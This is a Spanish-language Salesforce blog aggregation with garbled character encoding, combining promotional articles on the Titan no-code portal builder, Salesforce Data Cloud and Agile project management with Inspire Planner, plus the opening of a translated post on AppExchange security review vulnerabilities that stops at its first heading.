Depende 100% de usted decidir las funciones y capacidades que necesita para crear los sitios web y portales de sus sue帽os. Pero est谩 claro que si est谩 buscando una herramienta web sin c贸digo, ultraflexible y rentable que mejore la experiencia del usuario, Titan es una excelente opci贸n.

Quiz谩s recuerde que anteriormente en este art铆culo una empresa estaba buscando una soluci贸n flexible y sin c贸digo para crear un portal de recursos humanos para los empleados. Eligieron utilizar Titan y estos son los resultados:

  • Los empleados inician sesi贸n en el portal:
  • Reciben una autenticaci贸n de dos factores enviada a su correo electr贸nico para que puedan iniciar sesi贸n en el portal sin administrar ninguna otra contrase帽a.
  • Las p谩ginas web y los portales se muestran din谩micamente seg煤n la autenticaci贸n del usuario, proporcionando una experiencia de usuario din谩mica con cada clic.
  • Todo est谩 construido s贸lo con herramientas de arrastrar y soltar. No es necesaria ninguna codificaci贸n, ya que todos los datos fluyen hacia y desde Salesforce en tiempo real.
  • El Portal de Recursos Humanos brinda a los empleados un f谩cil acceso a informaci贸n personal y profesional, lo que hace que sea muy conveniente actualizar registros y sus propios datos personales:
  • Los formularios digitales personalizados han eliminado los errores de entrada y las imprecisiones de los datos con el precompletado din谩mico utilizando datos de Salesforce.
  • En el pasado, cada vez que un empleado quer铆a reservar sus d铆as de vacaciones, ten铆a que completar un formulario de licencia manual, escanearlo y enviarlo por correo electr贸nico a Recursos Humanos para su aprobaci贸n. Ahora simplemente hacen clic en la pesta帽a de d铆as de vacaciones para gestionar las solicitudes de licencia.
  • El Portal de Recursos Humanos del Empleado permite a los empleados registrar pedidos de equipos de TI directamente desde sus dispositivos m贸viles, computadoras port谩tiles y de escritorio.
  • Los empleados pueden presentar solicitudes de gastos de la empresa antes de que se procesen para la n贸mina y pueden presentar las solicitudes para recibir el pago antes de la fecha l铆mite de n贸mina. Esto significa que no hay que esperar a que se paguen las reclamaciones de gastos.
  • Incluso hay un Centro de conocimiento donde los empleados pueden obtener respuestas a todas sus preguntas frecuentes y solucionar problemas r谩pidamente:
  • Recursos Humanos ahorra 40 horas al mes en trabajo manual (隆incluida la n贸mina!) y los empleados est谩n m谩s comprometidos.
  • La empresa logr贸 hacer todo esto dentro del presupuesto y en un tiempo r茅cord, sin tener que implementar ning煤n c贸digo ni desarrollo personalizado.

Prueba de concepto

Consulte este portal de recursos humanos sin c贸digo donde los empleados pueden iniciar sesi贸n y realizar diversas acciones de autoservicio:

[contenido incrustado]

Salesforce Experience Cloud es una soluci贸n conocida con un historial decente en permitir a las empresas crear aplicaciones y portales para mejorar la experiencia del cliente. Aun as铆, no est谩 exento de limitaciones: falta de flexibilidad en lo que respecta a la experiencia del usuario, ninguna opci贸n real para diferenciar entre la experiencia de escritorio y m贸vil, y dificultad para integrarse con herramientas fuera de Salesforce, 隆por nombrar solo algunas!

Utilizar el desarrollo personalizado para crear su propia aplicaci贸n o portal personalizado resolver谩 la mayor铆a de los mayores problemas de Experience Cloud. Con el desarrollo personalizado, obtienes total libertad para crear cualquier portal o aplicaci贸n que puedas so帽ar y obtener dise帽os din谩micos para cualquier dispositivo. Si bien el desarrollo personalizado mitiga los puntos d茅biles de Experience Cloud, esta soluci贸n presenta sus propios desaf铆os, que incluyen trabajo y mantenimiento de desarrollo complicados, gastos adicionales y una comercializaci贸n m谩s lenta.

Titan gana a lo grande al brindarle lo mejor de ambos mundos: obtiene software de arrastrar y soltar combinado con la libertad y flexibilidad que brinda el desarrollo personalizado. Si est谩 buscando la alternativa l铆der a Experience Cloud y le gust贸 lo que ley贸, 隆p贸ngase en contacto hoy!

Evaluaci贸n formativa

驴Qu茅 es lo que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntete libre de compartir en los comentarios a continuaci贸n.

Seguir leyendo

C贸mo comenzar con Salesforce Data Cloud: gu铆a 101 y casos de uso

C贸mo comenzar con Salesforce Data Cloud: gu铆a 101 y casos de uso

脷ltima actualizaci贸n el 2 de octubre de 2023 por Rakesh Gupta

Los datos no son s贸lo un buen extra; es esencial. Especialmente ahora, cuando las empresas operan en gran medida en espacios digitales, la necesidad de un buen uso de los datos es clara. El papel del an谩lisis de datos se ha vuelto crucial para impulsar el 茅xito de una empresa. Es importante que los l铆deres de las empresas tengan un plan de datos s贸lido, uno que permita que sus negocios avancen r谩pidamente y enfrenten desaf铆os dif铆ciles.

Los equipos se benefician enormemente de un an谩lisis de datos s贸lido. Pueden tomar decisiones inteligentes m谩s r谩pido que antes y tambi茅n con mayor precisi贸n. Este tipo de uso de datos tambi茅n ayuda a los equipos a trabajar mejor juntos al eliminar cosas que obstaculizan un buen trabajo en equipo. Los l铆deres de TI tienen un papel especial aqu铆. Tienen las habilidades para hacer que los datos sean 煤tiles de nuevas maneras, transformando el trabajo de los equipos y mejorando la experiencia de los clientes.

驴Qu茅 es Salesforce Data Cloud y por qu茅 deber铆a implementarlo?

Salesforce Data Cloud est谩 dise帽ada para cambiar la forma en que las empresas interact煤an con los clientes. Es bueno para recopilar datos de diferentes lugares. Estos datos van a una gran 谩rea de almacenamiento llamada lago de datos. Luego utiliza un an谩lisis preciso para explicar lo que significan los datos.

Salesforce Data Cloud ayuda a vincular varias fuentes y nubes m谩s r谩pidamente en toda la plataforma. Sin embargo, Data Cloud tambi茅n es un art铆culo que se puede pedir. Aunque no todos los clientes de Salesforce han comprado Data Cloud, aunque se encuentran en el punto de partida, todav铆a utilizan Data Cloud hasta cierto nivel. Sin embargo, todo esto se fortalece cuando se utiliza la Nube de Datos como plataforma de personalizaci贸n y unificaci贸n de datos.

驴Por qu茅 necesito implementar una nube de datos ahora?

Imag铆nese c贸mo el volumen de datos crece r谩pidamente cuando piensa en la cantidad de clics que hace cada cliente. Puede realizar un seguimiento de dichos datos de participaci贸n a medida que ocurren, por ejemplo, cuando los usuarios abren y hacen clic en correos electr贸nicos, exploran p谩ginas en sus aplicaciones m贸viles y miran art铆culos en su tienda en l铆nea. Es mucho m谩s probable que las personas hagan clic cuando les env铆as un correo electr贸nico o una oferta que les resulta 煤til. Puede capturar la interacci贸n cuando un consumidor hace clic en Data Cloud. Cuando sepa qu茅 les interesa y si es probable que compren algo o no, podr谩 aprovechar esta informaci贸n a su favor.

Para cada sector o puesto, la Nube de Datos puede generar experiencias y oportunidades de negocio potentes.

Para analizar cuentas integradas y adquirir informaci贸n r谩pida y f谩cilmente sobre sus clientes y los efectos comerciales, los analistas pueden conectar Data Cloud a Tableau o QlikView . Cuando una empresa puede identificar a sus consumidores en funci贸n de la cantidad y el tema de sus tickets de soporte, puede desarrollar y llevar a cabo un plan para reducir esos tickets. Verifique los datos nuevamente para asegurarse de que el plan haya tenido 茅xito.

Los desarrolladores pueden crear software utilizando datos de Data Cloud, como un sistema de puntuaci贸n de salud que mide la puntuaci贸n de salud de un paciente utilizando objetos e informaci贸n predise帽ados. Cuando una actividad de datos inicia un flujo para enviar notificaciones a los m茅dicos cuando una puntuaci贸n cae por debajo de un nivel espec铆fico, esa puntuaci贸n y su uso se convierten en una experiencia que salva vidas.

Seg煤n la probabilidad de conversi贸n de un cliente, los vendedores pueden obtener informaci贸n sobre sus clientes potenciales y sus ventas potenciales. Seg煤n los h谩bitos de navegaci贸n de los usuarios y los niveles actuales de oferta de productos, la gesti贸n del comercio electr贸nico puede utilizar datos para personalizar su sitio web.

驴C贸mo funciona la nube de datos de Salesforce?

Fuente de la imagen: Blog de desarrolladores de Salesforce Re煤na todos los datos de sus clientes en Data Cloud

En pocas palabras, Data Cloud permite a los administradores de Salesforce realizar una variedad de acciones, que incluyen, entre otras:

  • Vincula tus fuentes de datos por lotes y de streaming.
  • Refine los datos entrantes empleando m茅todos de transformaci贸n y adhiri茅ndose a protocolos de gobernanza.
  • Estandariza tus datos conform谩ndolos a un modelo establecido.
  • Fusione diferentes elementos de datos mediante la aplicaci贸n de reglas de coincidencia de identidades.
  • Explore su conjunto de datos para obtener informaci贸n mediante consultas y an谩lisis en profundidad.
  • Implementar algoritmos de inteligencia artificial para pronosticar comportamientos.
  • Divida y fragmente sus datos y luego implem茅ntelos en m煤ltiples plataformas para crear experiencias personalizadas.
  • Eval煤e sus datos a trav茅s de soluciones de an谩lisis compatibles.
  • Exporte estos datos a diversos destinos, alineando acciones con objetivos comerciales espec铆ficos.
  • Vuelva a evaluar, cuantifique y ajuste peri贸dicamente sus activos de datos.
Fuente de la imagen: Ayuda de Salesforce Acerca de Salesforce Data Cloud

C贸mo empezar con la nube de datos

Se puede utilizar una estructura similar a un lago de datos para describir Salesforce Data Cloud. Como ejemplo, recopilando todos los datos de la plataforma Salesforce. Sin embargo, tambi茅n es capaz de importar datos de otras fuentes externas, como lagos de datos.

Perspectiva :

Un lago de datos es una ubicaci贸n concentrada para almacenar datos no procesados. Las empresas utilizan este sistema de almacenamiento enorme, adaptable y asequible para recopilar y guardar grandes cantidades de datos organizados, no estructurados y semiestructurados en su formato original. Las publicaciones en redes sociales, los registros de sensores y los datos de ubicaci贸n son solo algunos ejemplos de los datos no estructurados que recopilan los lagos de datos.

Lo que indica para los usuarios : las marcas son m谩s capaces de predecir los requisitos y necesidades de los consumidores debido a la gran cantidad de informaci贸n accesible en un lago de datos.

C贸mo afecta a los equipos : Los equipos pueden acceder a enormes cantidades de datos en una ubicaci贸n, lo que les permite moverse m谩s r谩pidamente y mantenerse al d铆a con (o superar) a los oponentes.

Pasos de implementaci贸n

Revise esta lista de verificaci贸n sugerida antes de comenzar a utilizar Data Cloud. Confirme que su equipo est茅 configurado antes de implementar Data Cloud, verifique estos puntos:

  • El equipo comprende los principales conceptos y restricciones que pueden afectar la facturaci贸n.
  • Analiza la gesti贸n de la marca y la estructura organizacional.
  • Examina los principios del modelo de datos antes de acordar una estrategia de datos.
  • Analice los datos que ya tiene y las fuentes de datos.
  • Reconoce a un administrador de Salesforce para configurar Salesforce Data Cloud.
  • Enumera los usuarios adem谩s de los permisos que requieren.
  • Establece objetivos de segmentaci贸n.
Fuente de la imagen: Configuraci贸n de la nube de datos del m贸dulo Trailhead

Costo y disponibilidad de Salesforce Data Cloud

Salesforce Data Cloud es costoso. Es una inversi贸n que requiere una planificaci贸n meticulosa porque comienza en $10 mil por organizaci贸n, mensualmente. De manera realista, dependiendo de los valores de sus datos, es posible que su empresa ya necesite gastar m谩s en Data Cloud. Como tus datos crecen constantemente, es importante tenerlo presente todo el tiempo, pero…  

鈥 En el 煤ltimo evento de Dreamforce, Salesforce anunci贸 que las licencias gratuitas de Data Cloud ya est谩n disponibles. Los clientes que tengan Enterprise Edition o superior ahora pueden acceder a Data Cloud sin costo alguno. En esta oferta se incluyen dos licencias de Tableau Creator, que permiten a las empresas conectar hasta 10聽000 perfiles de clientes y comenzar sus exploraciones.

En conclusi贸n

Los datos son m谩s cruciales que nunca y supervisar el flujo de datos en constante crecimiento es un trabajo incre铆ble. Sin embargo, los datos tienen una enorme influencia. El potencial de obtener conocimientos empresariales que puedan fundamentar decisiones y producir experiencias sorprendentes para los clientes crece a medida que aumenta el acceso a los datos y la alfabetizaci贸n sobre datos para las personas de toda su empresa. La IA y el CRM se pueden utilizar para impulsar actividades inteligentes y proporcionar servicios personalizados a escala cuando se combinan con datos procesables en tiempo real.

Ahora, con Data Cloud y Einstein AI nativos en la plataforma Einstein 1, las empresas pueden crear f谩cilmente aplicaciones y flujos de trabajo impulsados por AI que potencian la productividad, reducen costos y brindan incre铆bles experiencias a los clientes. 鈥 Parker Harris, cofundador y director de tecnolog铆a, Salesforce

Los datos del cliente, el contenido empresarial, los datos de telemetr铆a, los chats de Slack, los datos parcialmente estructurados y otros datos estructurados y no estructurados se fusionan y conectan mediante Data Cloud, la plataforma de datos a hiperescala de Salesforce que funciona en tiempo real, para generar un perfil 煤nico del cliente. La plataforma ya vincula e integra 100 mil millones de registros diariamente y procesa 30 billones de transacciones mensuales.

Las empresas ahora pueden crear perfiles de clientes completos y unificados, ofrecer nuevas experiencias de CRM y acceder a datos fragmentados de formas completamente nuevas gracias a la integraci贸n completa de la nueva Nube de Datos con la Plataforma Einstein 1.

Referencias:

Dorian es un administrador y desarrollador certificado 4x de Salesforce con amplia experiencia en la personalizaci贸n de Salesforce seg煤n las necesidades del cliente. Comenz贸 su trayectoria en TI como administrador de CRM y mantuvo su enfoque en el ecosistema de Salesforce. Le encanta explorar nuevas integraciones en Salesforce y detectar formas alternativas de optimizar los procesos comerciales dentro del CRM. Actualmente trabaja como desarrollador de Salesforce a tiempo completo y contribuye con contenido al portal educativo SFApps.info.

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es lo que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntete libre de compartir en los comentarios a continuaci贸n.

Seguir leyendo

Uso de Agile en proyectos de Salesforce – Inspire Planner

Uso de Agile en proyectos de Salesforce - Inspire Planner

Los enfoques tradicionales de gesti贸n de proyectos a menudo necesitan ayuda con la naturaleza vibrante de las implementaciones de Salesforce. Estos enfoques convencionales, aunque estructurados, pueden provocar falta de comunicaci贸n, incumplimiento de plazos y aumento de costos debido a su inflexibilidad. Afortunadamente, puedes utilizar Agile en proyectos de Salesforce para mejorar el proceso de entrega de tu proyecto.

Los proyectos de CRM pueden ser extremadamente complejos y tienen una tasa de fracaso significativa. Seg煤n diferentes fuentes que investigan proyectos de CRM, entre el 20 y el 70% de dichos proyectos fracasan. La falta de coordinaci贸n interfuncional se cit贸 a menudo como el factor de riesgo m谩s importante para el fracaso del proyecto CRM. Imagine la frustraci贸n de invertir tiempo y recursos en un proyecto de Salesforce s贸lo para verlo descarrilado por estrategias de gesti贸n inflexibles.

La metodolog铆a Agile ofrece una salida. En comparaci贸n, s贸lo el 9% de los proyectos 谩giles terminan en fracaso. Dise帽ado para la adaptabilidad y la colaboraci贸n, Agile en los proyectos de Salesforce los mantiene alineados con los objetivos comerciales a trav茅s del enfoque iterativo.

En este art铆culo, descubrir谩 c贸mo Agile en los proyectos de Salesforce garantiza que se mantengan encaminados, que las partes interesadas participen continuamente y que el resultado resuene con los objetivos previstos.

Metodolog铆a de gesti贸n de proyectos en cascada versus 谩gil: descripci贸n general r谩pida

Waterfall es una metodolog铆a tradicional de gesti贸n de proyectos que sigue un enfoque lineal y secuencial. Los proyectos que utilizan la metodolog铆a Waterfall avanzan a trav茅s de fases predefinidas, desde la recopilaci贸n de requisitos hasta la implementaci贸n del producto, y normalmente utilizan el diagrama de Gantt para mostrar el cronograma y el progreso de los proyectos.

Gesti贸n de proyectos en cascada de Inspire Planner en SalesforceGesti贸n de proyectos en cascada de Inspire Planner en Salesforce

Por el contrario, la metodolog铆a Agile es un enfoque colaborativo para la gesti贸n de proyectos y el desarrollo de software que enfatiza la flexibilidad, los comentarios de los clientes y la iteraci贸n r谩pida. En lugar de una progresi贸n lineal, los proyectos se dividen en tareas peque帽as y manejables llamadas "sprints" o "iteraciones", que son per铆odos cortos con un l铆mite de tiempo.

Inspire Planner Gesti贸n 谩gil de proyectos en SalesforceInspire Planner Gesti贸n 谩gil de proyectos en Salesforce

Si diferentes equipos de su organizaci贸n utilizan ambos enfoques para diferentes proyectos, existen herramientas nativas de Salesforce como Inspire Planner que pueden manejar con 茅xito ambas metodolog铆as, Waterfall y Agile.

Beneficios de utilizar Agile en proyectos de Salesforce

Los proyectos de Salesforce son complejos y requieren un enfoque flexible e iterativo para tener 茅xito. La metodolog铆a 谩gil es muy adecuada para este tipo de proyectos y ofrece varios beneficios que pueden ayudar a agilizar el proceso.

  • Velocidad: Con Agile en Salesforce, los proyectos se dividen en fases cortas de sprint, cada una de las cuales da como resultado un resultado tangible o una parte del producto final. Este enfoque modular acelera el proceso de desarrollo, garantizando una entrega m谩s r谩pida que los m茅todos tradicionales, donde todo el proyecto se aborda como una tarea enorme. Alrededor del 6,2% opta por sprints de una semana, manteniendo sus ciclos cortos y din谩micos, mientras que la mayor铆a de los equipos (59,1%) prefiere sprints de 2 semanas.
  • Flexibilidad: Agile permite a los equipos incorporar estos cambios sin problemas en el proyecto en curso a medida que evolucionan las necesidades de los procesos de negocio o surgen nuevos requisitos. Esto garantiza que el producto final siempre se alinee con los objetivos comerciales actuales y las necesidades de los usuarios. La flexibilidad de Agile lo hace un 37% m谩s r谩pido y un 16% m谩s productivo que el modelo de desarrollo de proyectos convencional.
  • Participaci贸n del cliente: Agile enfatiza la colaboraci贸n y la comunicaci贸n abierta. Los clientes o partes interesadas participan durante todo el proceso de desarrollo y brindan retroalimentaci贸n peri贸dica despu茅s de cada sprint. Esta participaci贸n continua garantiza que el producto se desarrolle seg煤n sus expectativas, lo que reduce las posibilidades de sorpresas de 煤ltimo momento o revisiones importantes. Se pueden realizar cambios inmediatamente si hay obst谩culos o defectos en el camino, lo que convierte a Agile en un modelo ideal para muchos equipos de diversas industrias.
  • Calendario y costos predecibles: la naturaleza de Agile, combinada con su 茅nfasis en la planificaci贸n y las revisiones peri贸dicas, facilita la estimaci贸n de cronogramas y presupuestos. Cada sprint tiene una duraci贸n y un alcance definidos, lo que permite a los equipos predecir mejor los costos del proyecto y las fechas de entrega. Los sprints suelen durar entre una y cuatro semanas, lo que permite a los equipos ofrecer nuevas funciones r谩pidamente y con una fuente de alta previsibilidad.

C贸mo Agile en Salesforce mejora la gesti贸n de proyectos

El verdadero potencial de Salesforce s贸lo puede desbloquearse si se combina con un enfoque de gesti贸n de proyectos adaptativo. As铆 es como Agile amplifica la eficacia de la entrega de proyectos de Salesforce:

  • Desarrollo iterativo y retroalimentaci贸n: Agile lo coloca a la vanguardia, a diferencia de los modelos tradicionales, donde la retroalimentaci贸n suele ser una ocurrencia tard铆a. Agile en Salesforce permite adaptaciones r谩pidas basadas en los comentarios de las partes interesadas al dividir el proyecto en sprints m谩s peque帽os y manejables. Seg煤n una encuesta del Project Management Institute, el 71% de las empresas adoptan Agile, lo que destaca su amplia aceptaci贸n y eficacia.
  • Colaboraci贸n y comunicaci贸n: Agile no es solo una metodolog铆a; es una cultura. Mejora un entorno de comunicaci贸n abierta, garantizando que todos los miembros del equipo, desde los desarrolladores hasta las partes interesadas, est茅n en sinton铆a. Esta colaboraci贸n mejorada garantiza que la implementaci贸n de Salesforce sea integral y atienda todas las facetas del negocio. Desarrollar una cultura 谩gil s贸lida en su organizaci贸n puede aumentar el rendimiento comercial en un 237 %.
  • Transparencia: una de las caracter铆sticas destacadas de Agile es su 茅nfasis en la visibilidad. Herramientas como los tableros Kanban y los gr谩ficos de evoluci贸n ofrecen a las partes interesadas una vista en tiempo real del progreso del proyecto. Esta transparencia garantiza la rendici贸n de cuentas y permite intervenciones oportunas si el proyecto se desv铆a de su curso. Agile en Salesforce puede mejorar la transparencia del proyecto en un 40%.
  • Gesti贸n de riesgos: los riesgos son inevitables en el ajetreado mundo de las implementaciones de Salesforce. Sin embargo, con su enfoque iterativo, Agile permite la identificaci贸n temprana de posibles obst谩culos. Al abordar los problemas de frente, Agile en Salesforce garantiza que los riesgos se identifiquen y mitiguen r谩pidamente. El 31% de las empresas ha adoptado Agile para reducir los riesgos.
  • Mejora continua: la complacencia no tiene cabida en Agile. Despu茅s de cada sprint, los equipos realizan retrospectivas, analizando qu茅 sali贸 bien y qu茅 no. Estos conocimientos allanan el camino para la optimizaci贸n de procesos, garantizando que el equipo evolucione y mejore. Seg煤n Hexacta, adoptar una mentalidad de mejora continua en el desarrollo 谩gil ayuda a mejorar la productividad del equipo y mejora la innovaci贸n.
Registro de riesgos del proyecto en Inspire Planner, una aplicaci贸n de gesti贸n de proyectos nativa de Salesforce

Implementaci贸n de Agile en proyectos de Salesforce

La integraci贸n de metodolog铆as 谩giles en proyectos de Salesforce puede cambiar las reglas del juego para las implementaciones de CRM. Aqu铆 hay una gu铆a de 4 pasos para incorporar Agile a la perfecci贸n en sus esfuerzos de Salesforce:

Configurar equipos para Agile en Salesforce

La base de cualquier proyecto Agile exitoso radica en su equipo. Para los proyectos de Salesforce, hay miembros responsables de tareas espec铆ficas.

  • Propietario del producto: el propietario del producto establece la visi贸n del proyecto, prioriza las tareas y alinea el equipo con los objetivos comerciales.
  • Scrum Master: Actuando como facilitador, el Scrum Master garantiza que se sigan los procesos 谩giles, aborda cualquier impedimento que el equipo pueda enfrentar y fomenta un entorno colaborativo.
  • Equipo de desarrollo: compuesto por desarrolladores, arquitectos y otros especialistas de Salesforce, este grupo es responsable de la implementaci贸n real, asegurando que cada sprint entregue resultados tangibles.

Herramientas y plataformas

Los usuarios de Salesforce pueden encontrar varias herramientas nativas de gesti贸n de proyectos para ayudar en la implementaci贸n 谩gil. Herramientas como Inspire Planner pueden ser invaluables, ya que ofrecen funciones que se alinean con los principios 谩giles, como:

  • Reserva
  • tableros kanban
  • Planificaci贸n de sprints
  • Seguimiento del tiempo
  • Administracion de recursos
  • Informes 谩giles y paneles de control

Inspire Planner es una aplicaci贸n de gesti贸n de proyectos 100 % nativa de Salesforce que es totalmente compatible con Agile en Salesforce desde el primer momento y cuenta con una alta calificaci贸n de sus clientes con m谩s de 140 rese帽as de 5 estrellas en AppExchange. Con esta herramienta, puede gestionar f谩cilmente los trabajos pendientes de productos, planificar sprints, realizar un seguimiento de los puntos de la historia, visualizar el trabajo mediante tableros Kanban, gestionar recursos y analizar el progreso con gr谩ficos de evoluci贸n.

Dado que Inspire Planner se encuentra dentro de su organizaci贸n de Salesforce, puede vincular directamente sus historias de usuario o tareas a cualquier registro de Salesforce, como Oportunidades, Casos y Cuentas, incluidos registros de sus objetos personalizados.

Adem谩s, Inspire Planner tambi茅n ofrece una funcionalidad avanzada pero intuitiva de gesti贸n de proyectos en cascada. Al combinar las metodolog铆as Waterfall y Agile en un solo paquete con un solo costo de suscripci贸n, Inspire Planner es la aplicaci贸n para todas sus necesidades de gesti贸n de proyectos en Salesforce.

Tablero Kanban en Inspire Planner, una herramienta de gesti贸n de proyectos nativa de SalesforceTablero Kanban en Inspire Planner, una herramienta de gesti贸n de proyectos nativa de Salesforce

Planificaci贸n de Sprint, reuniones diarias y revisiones de Sprint

En el contexto de Salesforce, estas ceremonias Agile son importantes para su proceso de gesti贸n de proyectos:

  • Planificaci贸n de Sprint: Dadas las vastas capacidades de Salesforce, definir objetivos claros para cada sprint es crucial, asegurando que los esfuerzos del equipo se dirijan hacia tareas de alta prioridad.
  • Reuniones diarias: estas breves reuniones permiten al equipo analizar el progreso, abordar los obst谩culos y garantizar que la implementaci贸n de Salesforce siga por buen camino.
  • Revisiones de Sprint: despu茅s de cada sprint, es esencial revisar el trabajo realizado, recopilar comentarios y garantizar que las funcionalidades implementadas de Salesforce se alineen con las necesidades comerciales.

Ceremonias de adaptaci贸n a los desaf铆os relacionados con Agile en Salesforce

Cada plataforma tiene desaf铆os 煤nicos y Salesforce no es una excepci贸n. Las ceremonias 谩giles pueden necesitar ligeras adaptaciones. Puede estar relacionado con personalizaciones espec铆ficas de Salesforce, integraciones con aplicaciones no nativas o la gesti贸n de los ciclos de lanzamiento regulares de Salesforce.

Por ejemplo, la duraci贸n de los sprints puede variar seg煤n los ciclos de lanzamiento de Salesforce, o las retrospectivas pueden incluir discusiones sobre herramientas y mejores pr谩cticas espec铆ficas de Salesforce.

Mejores pr谩cticas para introducir Agile en Salesforce

Fusionar el mundo de las metodolog铆as 谩giles con las implementaciones de Salesforce puede desbloquear eficiencias y resultados incomparables. Sin embargo, se deben arraigar ciertas mejores pr谩cticas para aprovechar plenamente el potencial de esta sinergia.

Estas son algunas de las mejores pr谩cticas que puede probar:

Capacitaci贸n y mejora de equipos en pr谩cticas 谩giles

Antes de sumergirse en las aguas de Agile, es imprescindible que el equipo est茅 bien equipado para nadar. Esto significa invertir en sesiones de capacitaci贸n integrales que presenten a los miembros del equipo los principios b谩sicos de Agile.

Ya sea que se trate de comprender la importancia de los sprints, el papel de un Scrum Master o los matices de las retrospectivas, un equipo bien capacitado puede afrontar f谩cilmente los desaf铆os de las implementaciones de Salesforce. Adem谩s, las sesiones peri贸dicas de mejora de habilidades pueden garantizar que el equipo se mantenga actualizado con las 煤ltimas metodolog铆as 谩giles y aplicaciones 谩giles para Salesforce.

Garantizar canales de comunicaci贸n claros entre los expertos de Salesforce y los profesionales 谩giles

La comunicaci贸n clara es el puente que conecta los mundos Agile y Salesforce. Con su profundo conocimiento de la plataforma, los expertos de Salesforce deben dialogar constantemente con profesionales 谩giles que aportan experiencia en metodolog铆a.

Esto garantiza que los procesos 谩giles se adapten a las demandas 煤nicas de Salesforce. Las reuniones peri贸dicas, las sesiones frecuentes de retroalimentaci贸n y los canales de comunicaci贸n abiertos pueden evitar desajustes y garantizar que el proyecto siga encaminado.

Revisar y adaptar peri贸dicamente el proceso 谩gil para adaptarlo al entorno de Salesforce

A medida que avanzan los proyectos de Salesforce, es fundamental revisar y perfeccionar los procesos 谩giles continuamente. Esto podr铆a significar ajustar la duraci贸n de los sprints para alinearse con los ciclos de lanzamiento de Salesforce, incorporar herramientas espec铆ficas de Salesforce en el conjunto de herramientas Agile o incluso ajustar la estructura del equipo para adaptarse mejor a las demandas del proyecto.

Las retrospectivas peri贸dicas pueden ofrecer informaci贸n sobre 谩reas de mejora, garantizando que el proceso Agile permanezca optimizado para el entorno de Salesforce.

Posibles desaf铆os de Agile en Salesforce y Soluciones

Combinar metodolog铆as 谩giles con implementaciones de Salesforce, si bien es prometedor, es un desaf铆o. Sin embargo, estos desaf铆os pueden abordarse eficazmente con previsi贸n y planificaci贸n estrat茅gica.

脡stos son algunos de los posibles obst谩culos y c贸mo superarlos:

Resistencia al cambio de las metodolog铆as tradicionales

  • Desaf铆o: Los equipos acostumbrados a las metodolog铆as tradicionales de gesti贸n de proyectos pueden encontrar desalentador el cambio a Agile. El miedo a lo desconocido y la comodidad de los procesos familiares pueden generar resistencia.
  • Soluci贸n: La gesti贸n del cambio es clave. Comience con sesiones de concientizaci贸n que destaquen los beneficios de Agile, especialmente en el contexto de las implementaciones de Salesforce. Los talleres pr谩cticos, las historias de 茅xito y los proyectos piloto pueden ayudar a los equipos a realizar una transici贸n sin problemas. Tener defensores del cambio dentro del equipo puede generar un sentimiento positivo y fomentar la adopci贸n.

Alinear sprints 谩giles con los ciclos de lanzamiento de Salesforce

  • Desaf铆o: los ciclos de lanzamiento de Salesforce a veces pueden alinearse con los sprints 谩giles. Esto puede provocar problemas de sincronizaci贸n, donde es posible que se publiquen nuevas funciones de Salesforce a mitad del sprint.
  • Soluci贸n: La planificaci贸n estrat茅gica es esencial. Los equipos deben conocer el calendario de lanzamientos de Salesforce y planificar sus sprints en consecuencia. Si se anticipa un lanzamiento de Salesforce durante un sprint, se deben tomar medidas para acomodarlo. Esto podr铆a significar sprints m谩s cortos o alinear sprints espec铆ficos en torno a versiones de Salesforce para explorar e integrar nuevas funciones.

Garantizar la calidad en los ciclos r谩pidos de desarrollo

  • Desaf铆o: La naturaleza iterativa de Agile significa ciclos de desarrollo r谩pidos. Si bien esto garantiza una entrega m谩s r谩pida, a veces puede comprometer la calidad, especialmente cuando se intenta aprovechar las amplias capacidades de Salesforce.
  • Soluci贸n: el control de calidad debe integrarse en cada sprint. Las herramientas de prueba automatizadas, la integraci贸n continua y las revisiones peri贸dicas del c贸digo pueden garantizar que la calidad no se vea comprometida. Adem谩s, dedicar sprints espec铆ficos o partes de sprints a controles de calidad, especialmente despu茅s de importantes personalizaciones de Salesforce, puede garantizar un producto final s贸lido.

Pensamientos finales

La fusi贸n de metodolog铆as 谩giles con la entrega de proyectos de Salesforce presagia una nueva era en las implementaciones de CRM. Esta sinergia promete tanto eficiencia como un nivel de adaptabilidad y capacidad de respuesta del que a menudo carecen las metodolog铆as tradicionales.

Vemos un testimonio de este potencial transformador cuando reflexionamos sobre herramientas como Inspire Planner.

  • Encapsula la esencia de Agile dentro del ecosistema de Salesforce.
  • Garantiza que los proyectos se completen y realmente resuenen con los objetivos comerciales.

Adoptar Agile para las implementaciones de Salesforce no es solo una recomendaci贸n sino un imperativo estrat茅gico. A medida que la industria contin煤a evolucionando, la capacidad de adaptarse e iterar r谩pidamente definir谩 el 茅xito.

Al integrar Agile en los proyectos de Salesforce, las organizaciones pueden asegurarse de seguir el ritmo de esta evoluci贸n y mejorar la colaboraci贸n. El futuro llama y es 谩gil.

Seguir leyendo

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Las 20 principales vulnerabilidades encontradas en la revisi贸n de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisi贸n de seguridad de AppExchange es uno de los procesos de revisi贸n m谩s rigurosos de cualquier mercado de aplicaciones en l铆nea. Esta estricta reputaci贸n es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor n煤mero uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los m谩s altos est谩ndares de seguridad posibles para la protecci贸n de los datos de los clientes.

Dicho esto, estos est谩ndares pueden representar un desaf铆o importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener 茅xito, en orden de prevalencia, esta publicaci贸n analizar谩 las 20 razones principales por las que los socios no pasan la revisi贸n de seguridad (a partir de 2023). Tambi茅n cubriremos c贸mo remediar o prevenir estos problemas.

#1 鈥 Aplicaci贸n de CRUD/FLS

驴Qu茅 es esto?

